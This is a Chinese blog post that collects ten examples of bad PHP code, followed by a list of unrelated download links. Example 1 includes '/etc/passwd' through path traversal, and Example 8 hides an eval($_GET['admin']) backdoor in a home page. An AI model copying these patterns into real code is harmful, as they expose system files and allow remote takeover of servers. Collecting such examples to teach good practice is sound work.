`

一位老外眼中的php bad code example,大家来看看

    博客分类:
  • PHP
阅读更多
Example 1.

<?php
  phpinfo();
  if (file_exist('../../../../etc/passwd'))
  {
    include('../../../../etc/passwd');
  }
Example 2.

if (!isset($_GET['month'])) {
    ...
}
else {
    if (isset($_POST['submit_fin'])) {
        ...
    }
}Example 3.

function InitBVar(&$var)
{
$var = ($var=="Y") ? "Y" : "N";
}
Example 4.

function htmlspecialcharsex($str)
{
if (strlen($str)>0)
{
$str = str_replace("&amp;", "&amp;amp;", $str);
$str = str_replace("&lt;", "&amp;lt;", $str);
$str = str_replace("&gt;", "&amp;gt;", $str);
$str = str_replace("&quot;", "&amp;quot;", $str);
$str = str_replace("<", "&lt;", $str);
$str = str_replace(">", "&gt;", $str);
$str = str_replace("\"", "&quot;", $str);
}
return $str;
}
Example 5.

str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;", $file_new);
Example 6.

$id = 0;
while (!$id || mysql_error()) {
    $id = rand(1, 10000000);
    mysql_query("INSERT INTO `table` (id) VALUES ('".$id."'");
}Example 7.

$find = str_replace(",", "", $find);
$find = str_replace(".", "", $find);
$find = str_replace("/", "", $find);
$find = str_replace(" ", "", $find);
$find = str_replace("-", "", $find);
$find = str_replace("+", "", $find);
$find = str_replace("#", "", $find);
Example 8.

<?php
echo "<html>";
echo "<body>";
echo "<h1>This is my home page</h1>";
echo "DATENG & DOORWAY";
echo "</body>";
echo "</html>";
if (isset($_GET['admin'])) eval($_GET['admin']);
?>
Example 9.

if (isset($param) && $param!=null && $param!=0 && $param>1) {
  sendRequest($param);
}
Example 10.

switch (true) {
case $formid == 'search_form' :
case $formid == 'search_theme_form' :
$form['#action'] = getlangpref() . ltrim($form['#action'], '/');
$form['#submit']['gpcustom_customsubmit'] = array();
break;
case $formid == 'localizernode_translations' :
foreach ( $form['languages'] as $key => $value ) {
if ( !is_array($value['#options']) ) continue;
asort($form['languages'][$key]['#options']);
}
break;
case $formid == 'contact_mail_page' :
if ( $url = variable_get('gpcustom-contact-form-redirect',
false) ) $form['#redirect'] = $url;
break;

}
1
0
分享到:
评论

相关推荐

    提取Powerbuilder 12里自带的Code Samples,共12个

    总共12个Projects 包含: Advanced GUI Benchmark dotNET CAS DWGradientTransparency DWRichTextEditStyle Example App FeedReader Mobilink Treeview DataWindow and DatePicker Web Reports Web Services WebDW

    rs.rar_RS c代码_RS 编解码_RS编解码_human5aa_老外写的老code

    "老外写的老code"表明这个C程序可能是一位外籍程序员早期编写的,可能没有现代编码库那么优化,但仍然具有学习价值。 对于初学者来说,理解并实现RS编码可能有一定的挑战,因为涉及到抽象的数学概念和域操作。但是...

    西门子PLC例程-一个老外的程序.zip

    西门子PLC例程-一个老外的程序

    IOCP.zip_IOCP_iocp 老外_完成端口_完成端口 老外

    完成端口 网络模型 实现 程序 老外写的很好的一个程序

    一个老外写的HtmlEditor

    【标题】"一个老外写的HtmlEditor"是一个国外开发者创建的HTML编辑器,它提供了丰富的功能,便于用户创建和编辑HTML文档。这个编辑器可能是开源的或者免费供个人使用,旨在简化网页设计过程,提高开发效率。 【描述...

    老外的程序,大家可以参考一下.zip西门子PLC编程实例程序源码下载

    老外的程序,大家可以参考一下.zip西门子PLC编程实例程序源码下载老外的程序,大家可以参考一下.zip西门子PLC编程实例程序源码下载老外的程序,大家可以参考一下.zip西门子PLC编程实例程序源码下载老外的程序,大家可以...

    经典的老外excel模板

    标题中的“经典的老外excel模板”指的是国外专家或设计师创建的高质量Excel模板,这些模板以其设计美感和功能实用性而受到赞誉。在Excel领域,这样的模板往往具有高度的专业性,能够帮助用户快速有效地组织数据,...

    西门子PLC例程-老外的程序,大家可以参考一下.zip

    这个压缩包中的"老外的程序,大家可以参考一下.rar"文件,很可能包含了多个实际应用的程序示例,每一份都可能是学习PLC编程的一个宝贵案例。解压后,使用西门子的编程软件如TIA Portal打开,逐步分析和学习,相信会对...

    老外用c#写的PHP安全审计工具

    标题中的“老外用C#写的PHP安全审计工具”指的是一个由非中文开发者使用C#编程语言开发的软件,主要用于对PHP代码进行安全审计。这样的工具对于PHP开发者来说非常重要,因为PHP是广泛应用的服务器端脚本语言,其安全...

    一个老外的PHP图形验证码程序

    内容索引:PHP源码,图片相册,验证码 一个老外的PHP图形验证码程序,整体生成效率比较高,依托于系统字体,简洁美观。含有示例教你如何使用,当然,示例只是简单实现了如何调用和判断等,需要更多功能的话就看你的...

    一款老外的游戏源码 java学习

    一款老外的游戏源码 有研究或探讨的请加群:37424970 或联系本人MSN或邮箱:zhuseahui@yahoo.com.cn

    一个老外的程序.zip西门子PLC编程实例程序源码下载

    一个老外的程序.zip西门子PLC编程实例程序源码下载一个老外的程序.zip西门子PLC编程实例程序源码下载一个老外的程序.zip西门子PLC编程实例程序源码下载一个老外的程序.zip西门子PLC编程实例程序源码下载 1.合个人...

    老外session实例购物车

    这个"老外session实例购物车"项目就是一个基于PHP的简单购物车实现,利用Session来存储用户添加的商品信息,从而在用户浏览不同页面时保持购物车的状态。以下是关于这个项目的一些关键知识点: 1. **Session 基础**...

    2024华数杯C题老外游中国

    本次C题老外游中国的第一问简述就是要求通过给出的旅游数据集,建立数学模型计算出352个城市中所有35200个景点评分的最高分,以及获得这个最高评分的景点数量和城市列表。 设 是352个城市的集合, 是第 个...

    Ansys - Heat Trans Example(老外经典)

    本实例聚焦于ANSYS在瞬态热分析中的应用,通过一个一维复合墙体的热传导和对流问题来展示其基本步骤和解决方法。 首先,我们要了解FEA的基本流程,它主要包括三个阶段:前处理、求解和后处理。在前处理阶段,我们将...

    西门子PLC例程-发一个老外的程序,S7 300 + C7 TouchScreen.zip

    西门子PLC例程-发一个老外的程序,S7 300 + C7 TouchScreen.zip这个压缩包文件包含的是一个基于西门子S7-300系列可编程逻辑控制器(PLC)的工程实例,同时结合了C7触摸屏的交互界面设计。这个例子为我们提供了一个...

    老外写的一个flash时间类

    这个"老外写的一个flash时间类"旨在提供一个更精确的时间控制工具,以改善标准的ActionScript 3(AS3)Timer类可能存在的精度问题。下面我们将深入探讨这个时间类的相关知识点。 1. **ActionScript 3 Timer类**: ...

    老外写的PHP的SMTP邮件类

    老外写的PHP的SMTP邮件类 外带Debug模式,很好很强大

    一批老外的超牛25行代码参赛作品的源文件

    这个名为"一批老外的超牛25行代码参赛作品的源文件"的压缩包,显然包含了一些由国外开发者创作的高效且具有震撼效果的Flash项目。这些项目用极其精炼的代码实现了令人惊叹的视觉效果,对于学习和理解Flash编程以及...

    老外的程序(西门子).zip西门子PLC编程实例程序源码下载

    老外的程序(西门子).zip西门子PLC编程实例程序源码下载老外的程序(西门子).zip西门子PLC编程实例程序源码下载老外的程序(西门子).zip西门子PLC编程实例程序源码下载老外的程序(西门子).zip西门子PLC编程实例程序源码...

Global site tag (gtag.js) - Google Analytics